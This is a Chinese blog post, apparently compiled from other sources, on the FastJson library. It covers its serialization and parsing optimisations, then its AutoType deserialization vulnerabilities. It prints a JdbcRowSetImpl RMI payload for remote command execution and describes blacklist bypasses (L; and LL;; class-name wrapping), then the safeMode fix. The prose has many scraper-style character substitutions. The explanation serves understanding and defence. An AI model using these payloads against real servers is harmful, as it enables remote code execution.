关于java:关于-FastJson

263次阅读

共计 9127 个字符,预计需要花费 23 分钟才能阅读完成。

因为公司提供的根底框架应用的是 FastJson 框架、而部门的架构师举荐应用 Jackson。所以特此理解下 FastJson 相干的货色。

FastJson 是阿里开源的 Json 解析库、能够进行序列化以及反序列化。

https://github.com/alibaba/fastjson

最广为人所知的一个特点就是

fastjson 绝对其余 JSON 库的特点是快,从 2011 年 fastjson 公布 1.1.x 版本之后,其性能从未被其余 Java 实现的 JSON 库超过。

贴上几张比照图

从下面能够看到无论是反序列化还是序列化 FastJson 和 Jackson 差距其实并不是很大。

为啥 FastJson 可能那么快

Fastjson 中 Serialzie 的优化实现

  1. 自行编写相似 StringBuilder 的工具类 SerializeWriter。

    把 java 对象序列化成 json 文本,是不可能应用字符串间接拼接的,因为这样性能很差。比字符串拼接更好的方法是应用 java.lang.StringBuilder。StringBuilder 尽管速度很好了,但还可能进一步晋升性能的,fastjson 中提供了一个相似 StringBuilder 的类 com.alibaba.fastjson.serializer.SerializeWriter。

    SerializeWriter 提供一些针对性的办法缩小数组越界查看。例如 public void writeIntAndChar(int i, char c) {},这样的办法一次性把两个值写到 buf 中去,可能缩小一次越界查看。目前 SerializeWriter 还有一些要害的办法可能缩小越界查看的,我还没实现。也就是说,如果实现了,可能进一步晋升 serialize 的性能。

  2. 应用 ThreadLocal 来缓存 buf。

    这个方法可能缩小对象调配和 gc,从而晋升性能。SerializeWriter 中蕴含了一个 char[] buf,每序列化一次,都要做一次调配,应用 ThreadLocal 优化,可能晋升性能。

  3. 应用 asm 防止反射

    获取 java bean 的属性值,须要调用反射,fastjson 引入了 asm 的来防止反射导致的开销。fastjson 内置的 asm 是基于 objectweb asm 3.3.1 革新的,只保留必要的局部,fastjson asm 局部不到 1000 行代码,引入了 asm 的同时不导致大小变大太多。

  4. 应用一个非凡的 IdentityHashMap 优化性能。

    fastjson 对每种类型应用一种 serializer,于是就存在 class -> JavaBeanSerizlier 的映射。fastjson 应用 IdentityHashMap 而不是 HashMap,防止 equals 操作。咱们晓得 HashMap 的算法的 transfer 操作,并发时可能导致死循环,然而 ConcurrentHashMap 比 HashMap 系列会慢,因为其应用 volatile 和 lock。fastjson 本人实现了一个特地的 IdentityHashMap,去掉 transfer 操作的 IdentityHashMap,可能在并发时工作,然而不会导致死循环。

  5. 缺省启用 sort field 输入

    json 的 object 是一种 key/value 构造,失常的 hashmap 是无序的,fastjson 缺省是排序输入的,这是为 deserialize 优化做筹备。

  6. 集成 jdk 实现的一些优化算法

    在优化 fastjson 的过程中,参考了 jdk 外部实现的算法,比方 int to char[]算法等等。

fastjson 的 deserializer 的次要优化算法

  1. 读取 token 基于预测。

    所有的 parser 基本上都须要做词法解决,json 也不例外。fastjson 词法解决的时候,应用了基于预测的优化算法。比方 key 之后,最大的可能是冒号 ”:”,value 之后,可能是有两个,逗号 ”,” 或者右括号 ”}”。在 com.alibaba.fastjson.parser.JSONScanner 中提供了这样的办法

     ​
     public void nextToken(int expect) {
      for (;;) {
      switch (expect) {
      case JSONToken.COMMA: //
      if (ch == ‘,’) {
      token = JSONToken.COMMA;
      ch = buf[++bp];
      return;
      }
     
      if (ch == ‘}’) {
      token = JSONToken.RBRACE;
      ch = buf[++bp];
      return;
      }
     
      if (ch == ‘]’) {
      token = JSONToken.RBRACKET;
      ch = buf[++bp];
      return;
      }
     
      if (ch == EOI) {
      token = JSONToken.EOF;
      return;
      }
      break;
      // … …
      }
     }

    从下面摘抄下来的代码看,基于预测可能做更少的解决就可能读取到 token。

  2. sort field fast match 算法

    fastjson 的 serialize 是依照 key 的程序进行的,于是 fastjson 做 deserializer 时候,采纳一种优化算法,就是假如 key/value 的内容是有序的,读取的时候只须要做 key 的匹配,而不须要把 key 从输出中读取进去。通过这个优化,使得 fastjson 在解决 json 文本的时候,少读取超过 50% 的 token,这个是一个非常要害的优化算法。基于这个算法,应用 asm 实现,性能晋升非常显著,超过 300%的性能晋升。

     {“id” : 123, “name” : “ 魏加流 ”, “salary” : 56789.79}
      ——      ——–          ———-

    在下面例子看,虚线标注的三个局部是 key,如果 key_id、key_name、key_salary 这三个 key 是程序的,就能够做优化解决,这三个 key 不须要被读取进去,只须要比拟就能够了。

    这种算法分两种模式,一种是疾速模式,一种是惯例模式。疾速模式是假设 key 是程序的,能疾速解决,如果发现不可能疾速解决,则退回惯例模式。保障性能的同时,不会影响性能。

    在这个例子中,惯例模式须要解决 13 个 token,疾速模式只须要解决 6 个 token。

    演示 sort field fast match 算法的代码

     // 用于疾速匹配的每个字段的前缀
     char[] size_   = “”size”:”.toCharArray();
     char[] uri_    = “”uri”:”.toCharArray();
     char[] titile_ = “”title”:”.toCharArray();
     char[] width_  = “”width”:”.toCharArray();
     char[] height_ = “”height”:”.toCharArray();
     
     // 保留 parse 开始时的 lexer 状态信息
     int mark = lexer.getBufferPosition();
     char mark_ch = lexer.getCurrent();
     int mark_token = lexer.token();
     
     int height = lexer.scanFieldInt(height_);
     if (lexer.matchStat == JSONScanner.NOT_MATCH) {
      // 退出疾速模式, 进入惯例模式
      lexer.reset(mark, mark_ch, mark_token);
      return (T) super.deserialze(parser, clazz);
     }
     
     String value = lexer.scanFieldString(size_);
     if (lexer.matchStat == JSONScanner.NOT_MATCH) {
      // 退出疾速模式, 进入惯例模式
      lexer.reset(mark, mark_ch, mark_token);
      return (T) super.deserialze(parser, clazz);
     }
     Size size = Size.valueOf(value);
     
     // … …
     
     // batch set
     Image image = new Image();
     image.setSize(size);
     image.setUri(uri);
     image.setTitle(title);
     image.setWidth(width);
     image.setHeight(height);
     
     return (T) image;

  3. 应用 asm 防止反射

    deserialize 的时候,会应用 asm 来结构对象,并且做 batch set,也就是说合并间断调用多个 setter 办法,而不是扩散调用,这个可能晋升性能。

  4. 对 utf- 8 的 json bytes,针对性应用优化的版本来转换编码。

    这个类是 com.alibaba.fastjson.util.UTF8Decoder,来源于 JDK 中的 UTF8Decoder,然而它应用 ThreadLocal Cache Buffer,防止转换时调配 char[]的开销。ThreadLocal Cache 的实现是这个类 com.alibaba.fastjson.util.ThreadLocalCache。第一次 1k,如果不够,会增长,最多增长到 128k。

     // 代码摘抄自 com.alibaba.fastjson.JSON
     public static final <T> T parseObject(byte[] input, int off, int len, CharsetDecoder charsetDecoder, Type clazz,
      Feature… features) {
      charsetDecoder.reset();
     
      int scaleLength = (int) (len * (double) charsetDecoder.maxCharsPerByte());
      char[] chars = ThreadLocalCache.getChars(scaleLength); // 应用 ThreadLocalCache,防止频繁分配内存
     
      ByteBuffer byteBuf = ByteBuffer.wrap(input, off, len);
      CharBuffer charByte = CharBuffer.wrap(chars);
      IOUtils.decode(charsetDecoder, byteBuf, charByte);
     
      int position = charByte.position();
     
      return (T) parseObject(chars, position, clazz, features);
     }

  5. symbolTable 算法。

    咱们看 xml 或者 javac 的 parser 实现,常常会看到有一个这样的货色 symbol table,它就是把一些常常应用的关键字缓存起来,在遍历 char[]的时候,同时把 hash 计算好,通过这个 hash 值在 hashtable 中来获取缓存好的 symbol,防止创立新的字符串对象。这种优化在 fastjson 外面用在 key 的读取,以及 enum value 的读取。这是也是 parse 性能优化的要害算法之一。

    以下是摘抄自 JSONScanner 类中的代码,这段代码用于读取类型为 enum 的 value。

     int hash = 0;
     for (;;) {
      ch = buf[index++];
      if (ch == ‘”‘) {
      bp = index;
      this.ch = ch = buf[bp];
      strVal = symbolTable.addSymbol(buf, start, index – start – 1, hash); // 通过 symbolTable 来取得缓存好的 symbol,包含 fieldName、enumValue
      break;
      }
     
      hash = 31 * hash + ch; // 在 token scan 的过程中计算好 hash
     
      // … …
     }

    以上这一大段内容都是来源于 FastJson 的作者 温少 的 blog

    https://www.iteye.com/blog/wenshao-1142031

为啥常常被爆出破绽

对于 Json 框架来说、想要把一个 Java 对象转换成字符串、有两种抉择

  • 基于属性
  • 基于 setter/getter

FastJson 和 Jackson 在把对象序列化成 json 字符串的时候、是通过遍历该类中所有 getter 办法进行的。Gson 并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成 json。

 class Store {
  private String name;
  private Fruit fruit;
  public String getName() {
  return name;
  }
  public void setName(String name) {
  this.name = name;
  }
  public Fruit getFruit() {
  return fruit;
  }
  public void setFruit(Fruit fruit) {
  this.fruit = fruit;
  }
 }
 ​
 interface Fruit {
 }
 ​
 class Apple implements Fruit {
  private BigDecimal price;
  // 省略 setter/getter、toString 等
 }

当咱们要对他进行序列化的时候,fastjson 会扫描其中的 getter 办法,即找到 getName 和 getFruit,这时候就会将 name 和 fruit 两个字段的值序列化到 JSON 字符串中。

那么问题来了,咱们下面的定义的 Fruit 只是一个接口,序列化的时候 fastjson 可能把属性值正确序列化进去吗?如果能够的话,那么反序列化的时候,fastjson 会把这个 fruit 反序列化成什么类型呢?

咱们尝试着验证一下,基于(fastjson v 1.2.68):

 {“fruit”:{“price”:0.5},”name”:”Hollis”}

那么,这个 fruit 的类型到底是什么呢,是否反序列化成 Apple 呢?咱们再来执行以下代码:

 Store newStore = JSON.parseObject(jsonString, Store.class);
 System.out.println(“parseObject : ” + newStore);
 Apple newApple = (Apple)newStore.getFruit();
 System.out.println(“getFruit : ” + newApple);

执行后果如下:

 toJSONString : {“fruit”:{“price”:0.5},”name”:”Hollis”}
 parseObject : Store{name=’Hollis’, fruit={}}
 Exception in thread “main” java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
 at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

能够看到,在将 store 反序列化之后,咱们尝试将 Fruit 转换成 Apple,然而抛出了异样,尝试间接转换成 Fruit 则不会报错,如:

 Fruit newFruit = newStore.getFruit();
 System.out.println(“getFruit : ” + newFruit);

以上景象,咱们晓得,当一个类中蕴含了一个接口(或抽象类)的时候,在应用 fastjson 进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无奈拿到原始类型。

那么有什么方法解决这个问题呢,fastjson 引入了 AutoType,即在序列化的时候,把原始类型记录下来。

应用办法是通过 SerializerFeature.WriteClassName 进行标记,行将上述代码中的

 String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

 {
  “@type”:”com.hollis.lab.fastjson.test.Store”,
  “fruit”:{
  “@type”:”com.hollis.lab.fastjson.test.Apple”,
  “price”:0.5
  },
  “name”:”Hollis”
 }

能够看到,应用 SerializerFeature.WriteClassName 进行标记后,JSON 字符串中多出了一个 @type 字段,标注了类对应的原始类型,不便在反序列化的时候定位到具体类型

然而,也正是这个个性,因为在功能设计之初在平安方面思考的不够周全,也给后续 fastjson 使用者带来了无尽的苦楚

AutoType 何错之有?

因为有了 autoType 性能,那么 fastjson 在对 JSON 字符串进行反序列化的时候,就会读取 @type 到内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的 setter 办法。

那么就能够利用这个个性,本人结构一个 JSON 字符串,并且应用 @type 指定一个本人想要应用的攻打类库。

举个例子,黑客比拟罕用的攻打类库是 com.sun.rowset.JdbcRowSetImpl,这是 sun 官网提供的一个类库,这个类的 dataSourceName 反对传入一个 rmi 的源,当解析这个 uri 的时候,就会反对 rmi 近程调用,去指定的 rmi 地址中去调用办法。

而 fastjson 在反序列化时会调用指标类的 setter 办法,那么如果黑客在 JdbcRowSetImpl 的 dataSourceName 中设置了一个想要执行的命令,那么就会导致很重大的结果。

如通过以下形式定一个 JSON 串,即可实现近程命令执行(在晚期版本中,新版本中 JdbcRowSetImpl 曾经被加了黑名单)

 {“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://localhost:1099/Exploit”,”autoCommit”:true}

这就是所谓的近程命令执行破绽,即利用破绽入侵到指标服务器,通过服务器执行命令。

在晚期的 fastjson 版本中(v1.2.25 之前),因为 AutoType 是默认开启的,并且也没有什么限度,能够说是裸着的。

从 v1.2.25 开始,fastjson 默认敞开了 autotype 反对,并且退出了 checkAutotype,退出了黑名单 + 白名单来进攻 autotype 开启的状况。

然而,也是从这个时候开始,黑客和 fastjson 作者之间的博弈就开始了。

因为 fastjson 默认敞开了 autotype 反对,并且做了黑白名单的校验,所以攻打方向就转变成了 ” 如何绕过 checkAutotype”。

绕过 checkAutotype,黑客与 fastjson 的博弈

在 fastjson v1.2.41 之前,在 checkAutotype 的代码中,会先进行黑白名单的过滤,如果要反序列化的类不在黑白名单中,那么才会对指标类进行反序列化。

然而在加载的过程中,fastjson 有一段非凡的解决,那就是在具体加载类的时候会去掉 className 前后的 L 和;,形如 Lcom.lang.Thread;。

而黑白名单又是通过 startWith 检测的,那么黑客只有在本人想要应用的攻打类库前后加上 L 和; 就能够绕过黑白名单的查看了,也不耽搁被 fastjson 失常加载。

如 Lcom.sun.rowset.JdbcRowSetImpl;,会先通过白名单校验,而后 fastjson 在加载类的时候会去掉前后的 L 和,变成了 com.sun.rowset.JdbcRowSetImpl`。

为了防止被攻打,在之后的 v1.2.42 版本中,在进行黑白名单检测的时候,fastjson 先判断指标类的类名的前后是不是 L 和;,如果是的话,就截取掉前后的 L 和; 再进行黑白名单的校验。

看似解决了问题,然而黑客发现了这个规定之后,就在攻打时在指标类前后双写 LL 和;;,这样再被截取之后还是能够绕过检测。如 LLcom.sun.rowset.JdbcRowSetImpl;;

魔高一尺,道高一丈。在 v1.2.43 中,fastjson 这次在黑白名单判断之前,减少了一个是否以 LL 未结尾的判断,如果指标类以 LL 结尾,那么就间接抛异样,于是就又短暂的修复了这个破绽。

黑客在 L 和; 这里走不通了,于是想方法从其余中央下手,因为 fastjson 在加载类的时候,不只对 L 和; 这样的类进行非凡解决,还对[也被非凡解决了。

后续几个也是围绕 AutoType 进行攻打的、感兴趣可间接查看原文。以上内容文段来自一下链接

https://zhuanlan.zhihu.com/p/157211675

AutoType 平安模式?

能够看到,这些破绽的利用简直都是围绕 AutoType 来的,于是,在 v1.2.68 版本中,引入了 safeMode,配置 safeMode 后,无论白名单和黑名单,都不反对 autoType,可肯定水平上缓解反序列化 Gadgets 类变种攻打。

设置了 safeMode 后,@type 字段不再失效,即当解析形如 {“@type”: “com.java.class”} 的 JSON 串时,将不再反序列化出对应的类。

开启 safeMode 形式如下:

 ParserConfig.getGlobalInstance().setSafeMode(true);

 Exception in thread “main” com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
 at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)

以上内容均为整顿所得

https://www.iteye.com/blog/wenshao-1142031

https://zhuanlan.zhihu.com/p/157211675

正文完
 0